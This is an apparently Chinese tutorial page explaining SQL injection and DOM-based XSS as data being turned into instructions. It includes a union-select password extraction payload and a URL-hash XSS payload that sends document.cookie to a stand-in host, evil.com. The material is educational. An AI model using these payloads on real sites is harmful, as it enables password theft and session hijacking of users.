网站地图    收藏   

主页 > 后端 > 网站安全 >

web前端黑客技术之数据与指令【sql注入、xss跨站

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 首先,我们知道,用浏览器打开一个网站,呈现在我们面前的都是数据,服务器端存储的(数据库,内存,文件系统等)、客户端存储的(本地Cookies,flash Cookies等),传输中的(json数据...

首先,我们知道,用浏览器打开一个网站,呈现在我们面前的都是数据,服务器端存储的(数据库,内存,文件系统等)、客户端存储的(本地Cookies,flash Cookies等),传输中的(json数据,和xml数据等,)还有文本数据等等。
 
而在这些数据的交换过程中,如果出现数据流被污染了,就会出现非预期的出存储和传输,导致安全风险。
 
而存储,传输并呈现这些数据的时候,需要执行指令,指令简单的说就是要执行的命令行。而不同的指令的解释执行则由对应的环境完成,如:
 
select username,email,descl from users where id=1
这条mySql指令在数据库引擎环境中被解释,然后产生查询对于的数据。
 
当正常的数据内容被注入指令内容,在解释的过程中,如果注入指令能够被独立执行,那么攻击就发生了
 
【1】 SQL注入攻击的发生
 
select username,email,desc1 from users where id=1;
正如我们所看到的,这条sql语句中id的值是来自用户提交,并且用户通过访问链接来获取自身的帐号信息。当用户访问这样的连接时,后端便触发执行上面的查询语句,并返回对应的id号的用户数据给前端显示。一般情况下,铍铜的用户对id提交整形数值,而邪恶的攻击者会提交如下列形式的值
 
1 union select password,1,1 from users
组成的链接形式:
 
http://www.foo.com/user.php?id=1 union select password,1,1 from users
 
组成的SQL语句为:
 
select username,email,desc1 from users whrere id=1 union select password,1,1 from users
XSS跨站脚本攻击的发生
 
<script> eval(location.hash.substr(1)); </script>
这里eval内置函数可以动态执行js语句,而location.hash()获取的是链接及URL中#及其后面的内容,如 ````.foo.com/info.html#callback。获取的十九#callback,而substr是用于截取字符,也就是#好后面内容。
 
而在这里,我们可以构建一个这样的攻击:
 
http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/stea.1.php?c="+escape(document.cookie)
而在浏览器解析
 
eval(location.hash.substr(1));
则会变为
 
eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)')
而当被攻击者被诱骗访问了该连接时,cookies会话信息就会被盗取到黑客的网站上,一般情况下,黑客利用该cookies可以登录被攻击者的帐号,并进行越权操作。
 
【补充】
 
跨站攻击是发生在浏览器客户端,而SQL注入由于针对的对象是数据库,一般情况下,数据库都在服务端,而HTML5提供了一个i额客户端存储几只,在浏览器段,使用SQLite数据库保存客户端数据,该几只允许使用js脚本操作SQL语句,从而本地化数据库进行交互
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论